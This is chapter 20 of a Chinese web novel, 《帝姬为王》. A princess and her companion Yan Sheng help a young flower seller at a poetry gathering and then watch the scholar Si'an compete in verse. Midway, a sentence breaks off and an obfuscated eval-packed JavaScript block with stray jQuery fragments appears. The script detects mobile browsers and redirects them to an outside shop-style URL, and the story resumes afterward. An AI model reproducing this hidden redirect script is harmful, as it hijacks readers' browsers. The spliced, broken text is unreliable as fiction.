20. 第 20 章

作品:《帝姬为王

    沈悠然猜测自己有些脸红,因为她感受到了阵阵热意,但她不会承认。


    “前面……前面还有很多呢,我们再看看、再看看。”


    她突然有些不敢和严晟并肩。


    严晟比她高出半个头,站在身侧只要微微转过脸来,就能俯视她。


    她不想暴露被面纱掩盖住心思,只得快步走在前面。


    严晟只好垂下了手,跟在沈悠然身后,像个护卫。


    又往前走了几步,来到了集英书院后院的梧桐树下。


    据悉这是创办集英书院的那位老宰相在妻子去世那一年种下的,距今多少个年头早已数不清了,只如今这幅参天的样貌,昭示着它曾旁听过多少年的岁月。


    沈悠然抬头,大概是梧桐树的枝丫多,觉得挂在树枝上的彩笺都比其余地方的多。


    纸笺上的诗词在微风中飘拂着,沈悠然忽然觉得闻到了一阵香气。


    像是栀子花的味道,但是太过甜腻,应当不是新鲜的花香,是香铺里做出来的花露。


    好端端的,谁还把花露带到诗会来?


    沈悠然循着味道四处张望着,发现了一个蜷缩在树下的小姑娘,她的脚边还放着一个篮子。


    小姑娘看起来八九岁的年纪,身材瘦小,目光躲闪。


    “小姑娘,你怎么在这?”沈悠然半蹲下身子,裙摆自然地落下。


    微微泛着荧光的纱裙遮住了小姑娘沾着灰的布鞋,她紧张地往后一缩,连忙求饶。


    “贵人饶命,贵人饶命!我不是故意的,不是故意弄脏贵人的衣裳。”


    “我只是、只是听闻今日书院人多,我就悄悄溜进来了,只是想卖点花赚点钱。”


    “不然、不然我把这篮子花赔给贵人吧!”


    沈悠然低头看了眼篮子,里面装的是纸花,兴许是为了更能吸引人的注意,撒了栀子花气味的花露。


    沈悠然抬手,正想要拿起她卖的纸花,就听见严晟开了口。


    “这些花我都要了。”


    小姑娘看见从天而降的银子,先是欣喜地跟严晟道谢,然后又犯了难。


    “公子,我、我……这钱太多了,我没有银钱能找您。”


    一朵纸花顶天了不过三文钱,她这一篮子,哪里需要银子来付。


    小姑娘怕好不容易来的大主顾就这么走掉了,连忙起身想要出去找人帮忙。


    严晟对她摆了摆手,“不用了。”


    “除了纸花,还有一件事要让你做。”


    “你去书院外的小道,见人就发,就说凡是来看诗会的,都能得一朵纸花。”


    “多出来的银子,就当是你的辛苦费了。”


    小姑娘一听,脸上的笑容都止不住了。


    “谢谢贵人,谢谢贵人!”


    直到看见小姑娘难以掩饰欣喜地身影消失在院门,沈悠然才笑着打趣。


    “哦!”


    “我们严公子,不光聪慧,还是菩萨心肠呢。”


    她习惯了跟季清清打闹,二人常说“我们帝姬”“我们清清”,一时之间也就没能改过来。


    倒是严晟听着,挑了挑眉,“我们严公子?”


    沈悠然一顿,这才回味过来。


    她跟严晟非亲非故的,哪里称得上是“我们”。


    看着她顿时没了刚刚那副得意模样,反倒是严晟脸上漾着笑意,但很快又被他压了下去。


    “昭懿帝姬何出此言?”


    沈悠然清了清嗓子,摇头晃脑地说着自己的分析。


    “严公子故意找了个由头让那小姑娘散花,不过是怕她收了你的银子心有不安,特意让她觉得那银子里还有她的劳力是吧?”


    “而且那小姑娘溜进来卖花却只是蜷缩在此处不去叫卖,定是曾被人呵斥过的,但又舍不得书院里人多,这才没出去。严公子让她去书院外,也是怕她书院里再招惹上那些不让她逗留在此的人。”


    今日诗会,书院内虽是没有再禁止外人出入,但那些文人学子,又或是贵族子弟,通常都自视清高,看不起从商的人。


    再加上又是个瘦弱的小姑娘,太容易被人欺负了。


    想到这里,沈悠然又忍不住看了一眼严晟。


    因为对他感兴趣,所以让青黛帮忙去打听了一下外人口中的严晟。


    都说严太傅的独子样貌顶尖,就是浑身上下都透露出一股拒人千里的冷漠,从未在他脸上看到过笑意,孤身一人站着的时候像是一座峭壁,周围的所有人都跟他有边界。


    就连穿的衣衫,也大多都是让人觉得深沉的颜色。


    所以才会顶着那样一张脸,在“宣阳女子最想嫁的男人比选大赛”中输给沈煦。


    但沈悠然觉得,他好似并没有传闻中的那么冷漠。


    至少现在就是的。


    沈悠然觉得没由来地觉得有些开心,她好像看见了其他人没见过的严晟呢。


    有一点菩萨心肠的严晟。


    *


    周遭的人群忽然开始疾走,沈悠然感到好奇,伸手随意拦了个学子。


    “你们这是要去哪?”


    那学子转过头来,看见是个蒙着脸的小娘子,但从露出来的眉眼间还是能瞧见几分姝色。


    他一时愣了神,想要凑近两步却打了个嗝,泛起阵阵酒气。


    沈悠然下意识的蹙眉,然后就感受到有人从她面前一晃而过。


    严晟侧过身子拦在了男子和沈悠然的面前,不动神色地替她挡住了男子放肆的视线。


    “前面发生了什么事?”他问道。


    微醺男子看见面前这个比自己高出了不少的男人,语气有些不悦,但还是老实回答了严晟的问题。


    “思安先生正在和人斗诗呢!”


    “真是没想到啊,还能在这看见思安先生的佳作,听闻还是以一敌百呢!”


    思安先生?


    沈悠然觉得有些熟悉,但又想不起来是在哪听过这个名号。


    不像是书院里的学子,应当是书院里请来压阵的学者。


    她下意识地就凑近了严晟的耳旁,“思安先生是谁啊?”


    “谁言天下无战火,思安必引风雨乱。”


    原来是他……


    沈悠然听过这人的名号,他曾是先帝时期的最后一位进士,曾是考官们心中最有可能夺得魁首的人选。


    也是第一位在殿试上被关进大牢的进士。


    皆因他在大殿上作出的那首《思安赋》让先帝龙颜大怒,斥责他是在诅咒大盛。


    后来先帝病重,也无人再有心思去顾及一个被关进了牢里的进士,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716136|188867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    等到再有人提及此事时,已经是盛兴帝即位的第二年春天了。


    后面的事情,沈悠然也不清楚了,只是听闻他出狱后便开始游历山川,再归来时,已不是那位在大殿上慷慨激昂的进士先生了。


    沈悠然对这个思安先生好奇地紧,忙拽着严晟的袖口混进人群里,一路来到了前院搭起来的戏台上。


    戏台下方已经围了不少的人,但有不少的人还是认识这位时常伴在太子身边的严公子,自发地让出位置来。


    沈悠然戳了戳他的腰侧,示意他低下头来。


    “真是沾了你的光哦。”她小声嘀咕着。


    严晟颇感无奈,压低了声音,“昭懿帝姬若是亮出身份,怕是坐在院长位置的,就该是您了。”


    沈悠然撇撇嘴,她不喜欢听严晟说“您”,总让她觉得自己很老似的,遂不愿搭话。


    她可不想坐在台上去呢,还得端着帝姬的身份,一点都不好玩。


    前面有两个学子正在激动地讨论着思安先生,恰巧挡住了沈悠然的视线。


    她只好踮起了脚尖,但这样似乎还有些不够,便拽着严晟的袖口往上蹦跶着。


    只是这样终归是不够,严晟四处看了一眼,让她在原地等着,然后就钻进了人群。


    等再回到沈悠然身边的时候,双手捧着不知道从哪里来的垫脚石,扔在脚下,示意沈悠然踩上去。


    垫脚石有些光滑,严晟便让沈悠然握着他的手上去,然后反手将手搭在了右肩上。


    “这样能看见吗?”严晟问道。


    沈悠然喜滋滋地看着前方,清楚,特别清楚,特别是手搭在严晟肩上的时候,更清楚了。


    对于思安先生该是什么模样,沈悠然脑子里有过猜测。


    一开始她觉得对方应该是抚着胡子出口成章的仙风道骨形象,后面又想着,在春风得意的时候惨遭牢狱之灾,或许又该是一副眉眼里藏着忧伤的失魂落魄。


    但没有想过对方看起来就如同普通中年人一般,乐呵呵地看着站在对面的学子。


    “不着急,慢慢来。”他笑着宽慰因为紧张而涨红了脸的学子。


    斗诗的规则是要在一炷香的时间里作出符合要求的诗,那学子挣扎了半晌,随后认命般地叹了口气。


    “学生才识浅薄,不及先生也。”


    思安先生拍着肩安慰他,“不必妄自菲薄,我不过是仗着多吃了几年的饭,又比你多走了几年的路罢了,假以时日你一定能比我做得更好。”


    那学生感激地朝着思安先生作了个揖,虽是斗诗输掉了,但却没在他的脸上看见什么懊恼沮丧,倒是神情有些激动。


    沈悠然忍不住评价,“这个思安先生,人还怪好的呢。”


    又不是什么背地里说人闲话,沈悠然没有刻意压低声音,也就被旁边的人听见了。


    “思安先生当然是个大好人呢,这些年他游历山川所写的游记,全都誊抄了一份送与各大书院供学子们开阔眼界,不收一分回报。”


    “今日诗会原是学子们之间的较量,是大家伙儿仰慕先生才华,先生推脱不过才下场,既不为名也不求利,若是斗诗输掉了,还能得先生举荐向各大家讨教呢。”


    沈悠然咋舌,遭如此不公命运还能善以待人,此人,倒真是一副好胸襟。